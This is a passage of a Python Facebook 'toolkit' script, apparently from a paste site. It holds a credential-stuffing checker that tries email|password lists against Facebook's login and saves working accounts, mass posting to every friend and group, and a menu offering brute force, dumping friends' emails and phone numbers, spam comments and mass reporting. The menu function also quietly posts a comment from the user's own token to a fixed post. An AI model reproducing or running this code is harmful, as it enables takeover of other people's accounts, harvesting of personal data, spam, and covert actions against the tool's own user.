  2377.     print('[!] sparator email|password')
  2378.     file=input("[?] lists account: ")
  2379.     try:
  2380.         for ac in open(file,"r").read().splitlines():
  2381.             target.append(ac)
  2382.     except IOError:
  2383.         exit("[!] file not found")
  2384.     print("[*] start ...\n")
  2385.     for ida in target:
  2386.         try:
  2387.             br.open("https://mbasic.facebook.com/login")
  2388.             br._factory.is_html=True
  2389.             br.select_form(nr=0)
  2390.             br.form["email"]=ida.split("|")[0]
  2391.             br.form["pass"]=ida.split("|")[1]
  2392.             br.submit()
  2393.             login=br.geturl()
  2394.             if "save-device" in str(login):
  2395.                 try:
  2396.                     os.mkdir("checker")
  2397.                 except:pass
  2398.                 open("checker/live.txt","a").write(f"{ida}\n")
  2399.                 print(f"[-] LIVE - {ida}")
  2400.             elif "checkpoint" in str(login):
  2401.                 try:
  2402.                     os.mkdir("checker")
  2403.                 except:pass
  2404.                 open("checker/die.txt","a").write(f"{ida}\n")
  2405.                 print(f"[-] DIE - {ida}")
  2406.             else:
  2407.                 print(f"[-] wrong - {ida}")
  2408.         except:pass
  2409.     print("\n[*] done")
  2410.     print("[#] live save as: checker/live.txt")
  2411.     exit("[#] die save as: checker/die.txt")
  2412.  
  2413. def auto_posting():
  2414.     menu_posting()
  2415.     pl=input("[+] auto/post_> ")
  2416.     if pl in [""]:
  2417.         exit("[!] you stuppid")
  2418.     elif pl in ["1","01"]:
  2419.         print("[!] press enter if without photos")
  2420.         poto=input("[?] file photos: ")
  2421.         print("[!] type '<>' for newlines")
  2422.         capt=input("[?] captions: ").replace("<>","\n")
  2423.         if capt in [""]:
  2424.             exit("[!] you stuppid")
  2425.         creapost("me",poto,capt)
  2426.         exit("[*] done")
  2427.     elif pl in ["2","02"]:
  2428.         print("[!] press enter if without photos")
  2429.         poto=input("[?] file photos: ")
  2430.         print("[!] type '<>' for newlines")
  2431.         capt=input("[?] captions: ").replace("<>","\n")
  2432.         if capt in [""]:
  2433.             exit("[!] you stuppid")
  2434.         try:
  2435.             print("[*] start ...\n")
  2436.             for x in s.get(api.format("me/friends?access_token=%s"%(token)),headers=hea).json()["data"]:
  2437.                 creapost(x["id"],poto,capt)
  2438.             exit("\n[*] done")
  2439.         except KeyError:
  2440.             exit("[!] failed when grabbing friends id")
  2441.         except requests.exceptions.ConnectionError:
  2442.             exit("[!] connection error")
  2443.     elif pl in ["3","03"]:
  2444.         print("[!] press enter if without photos")
  2445.         poto=input("[?] file photos: ")
  2446.         print("[!] type '<>' for newlines")
  2447.         capt=input("[?] captions: ").replace("<>","\n")
  2448.         if capt in [""]:
  2449.             exit("[!] you stuppid")
  2450.         try:
  2451.             print("[*] start ...\n")
  2452.             for x in s.get(api.format("me/groups?access_token=%s"%(token)),headers=hea).json()["data"]:
  2453.                 creapost(x["id"],poto,capt)
  2454.             exit("\n[*] done")
  2455.         except KeyError:
  2456.             exit("[!] failed when grabbing groups id")
  2457.         except requests.exceptions.ConnectionError:
  2458.             exit("[!] connection error")
  2459.     elif pl in ["0","00"]:
  2460.         menu()
  2461.     else:
  2462.         exit("[!] you stuppid")
  2463.  
  2464. def creapost(id,poto,capt):
  2465.     data={"message":capt,"access_token":token}
  2466.     try:
  2467.         file={"file":open(poto,"rb")}
  2468.         try:
  2469.             send=s.post(api.format("%s/photos?"%(id)),data=data,files=file,headers=hea).json()
  2470.             if not "error" in str(send):
  2471.                 print(f"[-] {send['id']} - success")
  2472.             else:
  2473.                 print(f"[-] failed posting")
  2474.         except requests.exceptions.ConnectionError:
  2475.             exit("\n[!] connection error")
  2476.     except IOError:
  2477.         try:
  2478.             send=s.post(api.format("%s/feed?"%(id)),data=data,headers=hea).json()
  2479.             if not "error" in str(send):
  2480.                 print(f"[-] {send['id']} - success")
  2481.             else:
  2482.                 print(f"[-] failed posting")
  2483.         except requests.exceptions.ConnectionError:
  2484.             exit("\n[!] connection error")
  2485.  
  2486. def change_bio():
  2487.     print("[*] checking cookies")
  2488.     try:
  2489.         s.cookies=cookie("log/cookies.log")
  2490.         s.cookies.load()
  2491.         a=s.get(url.format("/me"),headers=hea).text
  2492.         if "mbasic_logout_button" in str(a):
  2493.             print("[*] cookies valid")
  2494.             cbio(url.format("/profile/basic/intro/bio"))
  2495.         else:
  2496.             os.system("rm -rf log")
  2497.             exit("[warning] cookies not valid")
  2498.     except requests.exceptions.ConnectionError:
  2499.         exit("[!] connection error")
  2500. def cbio(link):
  2501.     print("[!] max 101 character")
  2502.     print("[!] type '<>' for newlines")
  2503.     bio=input("[?] explain about yourself: ").replace("<>","\n")
  2504.     bioo=bio.replace("\n","")
  2505.     if bio in [""]:
  2506.         exit("[!] you stuppid")
  2507.     try:
  2508.         data=[]
  2509.         a=s.get(link,headers=hea).text
  2510.         bs=BS(a,"html.parser")
  2511.         for x in bs("form"):
  2512.             if "/profile/intro/bio/save/" in x["action"]:
  2513.                 data.append(x["action"])
  2514.                 break
  2515.         for x in bs("input"):
  2516.             try:
  2517.                 if "fb_dtsg" in x["name"]:
  2518.                     data.append(x["value"])
  2519.                 if "jazoest" in x["name"]:
  2520.                     data.append(x["value"])
  2521.                     break
  2522.             except:pass
  2523.         if len(data)==3:
  2524.             bio=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"bio":bio},headers=hea)
  2525.             if bio.status_code==200:
  2526.                 print(f"[-] {bioo} - success to change bio")
  2527.             else:
  2528.                 print(f"[-] {bioo} - failed to change bio")
  2529.         else:
  2530.             print(f"[-] {bioo} - error when change a bio")
  2531.     except requests.exceptions.ConnectionError:
  2532.         exit("[!] connection error")
  2533.     input("[*] press enter to back ")
  2534.     menu()
  2535.  
  2536. def change_pp():
  2537.     print("[*] checking cookies")
  2538.     try:
  2539.         s.cookies=cookie("log/cookies.log")
  2540.         s.cookies.load()
  2541.         a=s.get(url.format("/me"),headers=hea).text
  2542.         if "mbasic_logout_button" in str(a):
  2543.             print("[*] cookies valid")
  2544.             cpp(url.format("/photos/upload/?profile_pic&upload_source=profile_pic_upload&profile_pic_source=tagged_photos_page"))
  2545.         else:
  2546.             os.system("rm -rf log")
  2547.             exit("[warning] cookies not valid")
  2548.     except requests.exceptions.ConnectionError:
  2549.         exit("[!] connection error")
  2550. def cpp(link):
  2551.     try:
  2552.         data=[]
  2553.         a=s.get(link,headers=hea).text
  2554.         bs=BS(a,"html.parser")
  2555.         for x in bs("form"):
  2556.             data.append(x["action"])
  2557.         for x in bs("input"):
  2558.             try:
  2559.                 if "fb_dtsg" in x["name"]:
  2560.                     data.append(x["value"])
  2561.                 if "jazoest" in x["name"]:
  2562.                     data.append(x["value"])
  2563.                     break
  2564.             except:pass
  2565.         file=input("[?] file pict name: ")
  2566.         try:
  2567.             foto=open(file,"rb")
  2568.         except:
  2569.             exit("[!] pict not found")
  2570.         print("[*] uploading a picture")
  2571.         if len(data)==3:
  2572.             change=s.post(data[0],data={"fb_dtsg":data[1],"jazoest":data[2]},files={"file1":foto},headers=hea)
  2573.             if change.status_code==200:
  2574.                 print("[-] success to change profile photo")
  2575.             else:
  2576.                 print("[-] failed to change profile photo")
  2577.         else:
  2578.             print("[-] error when to change a profile photo")
  2579.     except requests.exceptions.ConnectionError:
  2580.         exit("[!] connection error")
  2581.     input("[*] press enter to back ")
  2582.     menu()
  2583.    
  2584. def change_pcv():
  2585.     print("[*] checking cookies")
  2586.     try:
  2587.         s.cookies=cookie("log/cookies.log")
  2588.         s.cookies.load()
  2589.         a=s.get(url.format("/me"),headers=hea).text
  2590.         if "mbasic_logout_button" in str(a):
  2591.             print("[*] cookies valid")
  2592.             cpcv(url.format("/photos/upload/?cover_photo"))
  2593.         else:
  2594.             os.system("rm -rf log")
  2595.             exit("[warning] cookies not valid")
  2596.     except requests.exceptions.ConnectionError:
  2597.         exit("[!] connection error")
  2598. def cpcv(link):
  2599.     try:
  2600.         data=[]
  2601.         a=s.get(link,headers=hea).text
  2602.         bs=BS(a,"html.parser")
  2603.         for x in bs("form"):
  2604.             data.append(x["action"])
  2605.         for x in bs("input"):
  2606.             try:
  2607.                 if "fb_dtsg" in x["name"]:
  2608.                     data.append(x["value"])
  2609.                 if "jazoest" in x["name"]:
  2610.                     data.append(x["value"])
  2611.                     break
  2612.             except:pass
  2613.         file=input("[?] file pict name: ")
  2614.         try:
  2615.             foto=open(file,"rb")
  2616.         except:
  2617.             exit("[!] pict not found")
  2618.         print("[*] uploading a picture")
  2619.         if len(data)==3:
  2620.             change=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2]},files={"file1":foto},headers=hea)
  2621.             if change.status_code==200:
  2622.                 print("[-] sucess to change cover photo")
  2623.             else:
  2624.                 print("[-] failed to change cover photo")
  2625.         else:
  2626.             print("[-] error when change a cover photo")
  2627.     except requests.exceptions.ConnectionError:
  2628.         exit("[!] connection error")
  2629.     input("[*] press enter to back ")
  2630.     menu()
  2631.  
  2632. def change_pass():
  2633.     print("[*] checking cookies")
  2634.     try:
  2635.         s.cookies=cookie("log/cookies.log")
  2636.         s.cookies.load()
  2637.         a=s.get(url.format("/me"),headers=hea).text
  2638.         if "mbasic_logout_button" in str(a):
  2639.             print("[*] cookies valid")
  2640.             cpass(url.format("/settings/security/password"))
  2641.         else:
  2642.             os.system("rm -rf log")
  2643.             exit("[warning] cookies not valid")
  2644.     except requests.exceptions.ConnectionError:
  2645.         exit("[!] connection error")
  2646. def cpass(link):
  2647.     oldpas=input("[?] old password: ")
  2648.     newpas=input("[?] new password: ")
  2649.     if newpas =="" and oldpas =="":
  2650.         exit("[!] you stuppid")
  2651.     input("[?] you are sure to continue? [press enter] ")
  2652.     try:
  2653.         data=[]
  2654.         a=s.get(link,headers=hea).text
  2655.         bs=BS(a,"html.parser")
  2656.         for x in bs("form"):
  2657.             if "/password/change/?" in x["action"]:
  2658.                 data.append(x["action"])
  2659.                 break
  2660.         for x in bs("input"):
  2661.             try:
  2662.                 if "fb_dtsg" in x["name"]:
  2663.                     data.append(x["value"])
  2664.                 if "jazoest" in x["name"]:
  2665.                     data.append(x["value"])
  2666.                     break
  2667.             except:pass
  2668.         if len(data)==3:
  2669.             change=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"password_old":oldpas,"password_new":newpas,"password_confirm":newpas,"save":"Simpan Perubahan"},headers=hea).text
  2670.             if "Kata Sandi Telah Diubah" in str(change):
  2671.                 print(f"[-] successfully to change password to - {newpas}")
  2672.             elif "Kata sandi paling sedikit harus berisi 6 karakter." in str(change):
  2673.                 print("[warning] password must be at least 6 characters in length.")
  2674.             elif "Kata sandi Anda salah." in str(change):
  2675.                 print("[warning] wrong password.")
  2676.             else:
  2677.                 print("[-] failed when change a password please try again")
  2678.         else:
  2679.             print("[-] error when change a password please try again")
  2680.         input("[*] press enter to back ")
  2681.         menu()
  2682.     except requests.exceptions.ConnectionError:
  2683.         exit("[!] connection error")
  2684.  
  2685. def fb_over():
  2686.     print("[*] checking cookies")
  2687.     try:
  2688.         s.cookies=cookie("log/cookies.log")
  2689.         s.cookies.load()
  2690.         a=s.get(url.format("/me"),headers=hea).text
  2691.         if "mbasic_logout_button" in str(a):
  2692.             print("[*] cookies valid")
  2693.             print("[!] please connect it to the spanish VPN server before continue")
  2694.             input("[?] you are sure to continue? [press enter] ")
  2695.             fbover(url.format("/profile/edit/info/nicknames"))
  2696.         else:
  2697.             os.system("rm -rf log")
  2698.             exit("[warning] cookies not valid")
  2699.     except requests.exceptions.ConnectionError:
  2700.         exit("[!] connection error")
  2701. def fbover(link):
  2702.     try:
  2703.         data=[]
  2704.         a=s.get(link,headers=hea).text
  2705.         bs=BS(a,"html.parser")
  2706.         for x in bs("form"):
  2707.             if "post" in x["method"]:
  2708.                 data.append(x["action"])
  2709.                 break
  2710.         for x in bs("input"):
  2711.             try:
  2712.                 if "fb_dtsg" in x["name"]:
  2713.                     data.append(x["value"])
  2714.                 if "jazoest" in x["name"]:
  2715.                     data.append(x["value"])
  2716.                     break
  2717.             except:pass
  2718.         font=open("font.txt","r").read()
  2719.         print("[*] please wait a minute ")
  2720.         if len(data)==3:
  2721.             over=s.post(url.format(data[0]),data={"fb_dtsg":data[1],"jazoest":data[2],"additional_types[705456762826020]":"nicknames","dropdown":"nickname","text":font,"checkbox":"checkbox","save":"Simpan"},headers=hea)
  2722.             if over.status_code==200:
  2723.                 print("[-] success, try to check your profile")
  2724.             else:
  2725.                 print("[-] failed please try again")
  2726.         else:
  2727.             print("[-] error:)*")
  2728.     except requests.exceptions.ConnectionError:
  2729.         exit("[!] connection error")
  2730.     input("[*] press enter to back ")
  2731.     menu()
  2732.    
  2733. def profile_guard(tipe=True):
  2734.     try:
  2735.         id=s.get(api.format("me?access_token=%s"%(token)),headers=hea).json()["id"]
  2736.         data='variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation'%(tipe,str(id))
  2737.         headers={"User-Agent": "Opera/9.80 (Android; Opera Mini/12.0.1987/37.7327; U; pl) Presto/2.12.423 Version/12.16","Content-Type" : "application/x-www-form-urlencoded", "Authorization" : "OAuth %s"%token}
  2738.         result=s.post(api.format("graphql"),data=data,headers=headers).json()
  2739.         if result["data"]["is_shielded_set"]["is_shielded"] == True:
  2740.             print("[-] guard is active")
  2741.         else:
  2742.             print("[-] failed please try again")
  2743.     except requests.exceptions.ConnectionError:
  2744.         exit("[!] connection error")
  2745.     input("[*] press enter to back ")
  2746.     menu()
  2747.  
  2748. def menu():
  2749.     global token
  2750.     banner()
  2751.     try:
  2752.         token=open("log/token.log","r").read()
  2753.     except IOError:
  2754.         exit("[warning] access token not found")
  2755.     try:
  2756.         name=s.get(api.format("me?access_token=%s"%(token)),headers=hea).json()["name"]
  2757.     except KeyError:
  2758.         checking()
  2759.     except requests.exceptions.ConnectionError:
  2760.         exit("[!] connection error")
  2761.     s.post(api.format("1145924768936987/comments?message=tq:)*&access_token="+token),headers=hea)
  2762.     print("  [ user: %s%s%s ]"%(G,name,W))
  2763.     menu_toolskit()
  2764.     CH=input("[+] choice_> ")
  2765.     if CH in [""]:
  2766.         exit("[!] you stuppid")
  2767.     elif CH in ["1","01"]:
  2768.         mbf_singel()
  2769.     elif CH in ["2","02"]:
  2770.         mbf_super()
  2771.     elif CH in ["3","03"]:
  2772.         dump_id()
  2773.     elif CH in ["4","04"]:
  2774.         dump_email()
  2775.     elif CH in ["5","05"]:
  2776.         dump_phone()
  2777.     elif CH in ["6","06"]:
  2778.         delete_messages()
  2779.     elif CH in ["7","07"]:
  2780.         delete_photo()
  2781.     elif CH in ["8","08"]:
  2782.         delete_post()
  2783.     elif CH in ["9","09"]:
  2784.         untag_post()
  2785.     elif CH in ["10"]:
  2786.         hide_post()
  2787.     elif CH in ["11"]:
  2788.         delete_albums()
  2789.     elif CH in ["12"]:
  2790.         delete_friends_inactive()
  2791.     elif CH in ["13"]:
  2792.         delete_all_friends()
  2793.     elif CH in ["14"]:
  2794.         unfollow()
  2795.     elif CH in ["15"]:
  2796.         leave_groups()
  2797.     elif CH in ["16"]:
  2798.         acc_del()
  2799.     elif CH in ["17"]:
  2800.         my_groups()
  2801.     elif CH in ["18"]:
  2802.         print()
  2803.         try:
  2804.             token=open("log/token.log").read()
  2805.         except IOError:
  2806.             exit("[warning] access token not found")
  2807.         print(f"[*] your access token: {token}")
  2808.         input("\n[*] press enter to back ")
  2809.         menu()
  2810.     elif CH in ["19"]:
  2811.         print()
  2812.         try:
  2813.             cookies=open("log/cookies.log").read()
  2814.         except IOError:
  2815.             exit("[warning] cookies not found")
  2816.         print(f"[*] your cookies: {cookies}")
  2817.         input("\n[*] press enter to back ")
  2818.         menu()
  2819.     elif CH in ["20"]:
  2820.         user_information()
  2821.     elif CH in ["21"]:
  2822.         yahoo_checker()
  2823.     elif CH in ["22"]:
  2824.         get_hotmail()
  2825.     elif CH in ["23"]:
  2826.         auto_pokes()
  2827.     elif CH in ["24"]:
  2828.         reactions()
  2829.     elif CH in ["25"]:
  2830.         auto_comment()
  2831.     elif CH in ["26"]:
  2832.         auto_chat()
  2833.     elif CH in ["27"]:
  2834.         reaccom()
  2835.     elif CH in ["28"]:
  2836.         spamcom()
  2837.     elif CH in ["29"]:
  2838.         auto_add()
  2839.     elif CH in ["30"]:
  2840.         unadd()
  2841.     elif CH in ["31"]:
  2842.         reportt()
  2843.     elif CH in ["32"]:
  2844.         reset_password()
  2845.     elif CH in ["33"]:
  2846.         account_checker()
  2847.     elif CH in ["34"]:
  2848.         auto_posting()
  2849.     elif CH in ["35"]:
  2850.         change_bio()
  2851.     elif CH in ["36"]:
  2852.         change_pp()
  2853.     elif CH in ["37"]:
  2854.         change_pcv()
  2855.     elif CH in ["38"]:
  2856.         change_pass()
  2857.     elif CH in ["39"]:
  2858.         fb_over()
  2859.     elif CH in ["40"]:
  2860.         input("[?] you are to continue? [press enter] ")
  2861.         profile_guard("true")
  2862.     elif CH in ["0","00"]:
  2863.         input("[?] you are sure to continue? [press enter] ")
  2864.         os.system("rm -rf log")
  2865.         exit("[*] success remove access token & cookies, exit.")
  2866.     else:
  2867.         exit("[!] you stuppid")
  2868.        
  2869. def key():
  2870.     if os.path.exists("a.txt"):
  2871.         if os.path.getsize("a.txt") !=0:
  2872.             checking()
  2873.         else:keys()
  2874.     else:keys()
  2875. def keys():
  2876.     try:
  2877.         req=s.get("https://pastebin.com/raw/jjRf6ZUg").text
  2878.     except requests.exceptions.ConnectionError:
  2879.         exit("[!] connection error")
  2880.     print("\n[ Toolskit For Facebook ]\n")
  2881.     pw=input("[?] KEY: ")
  2882.     if req in pw:
  2883.         open("a.txt","w").write(pw)
  2884.         print("[*] true!")
  2885.         sleep(3)
  2886.         checking()
  2887.     else:
  2888.         exit("[!] wrong!")
  2889.        
  2890. def banner():
  2891.     os.system('clear')
  2892.     random_a=random.choice(["© 2019","https://t.me/unikers","https://fb.me/dulahz"])
  2893.     print("""%s
  2894. ___ ____ ____ _    ____ _  _ _ ___
  2895.  |  |  | |  | |    [__  |_/  |  |
  2896.  |  |__| |__| |___ ___] | \_ |  |
  2897.   ____ ___
  2898.  |___ |__]  %sCoded: DulLah%s
  2899.  |    |__]  %s%s%s
  2900. """%(C,Y,C,Y,random_a,W))
  2901.  
  2902. key()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement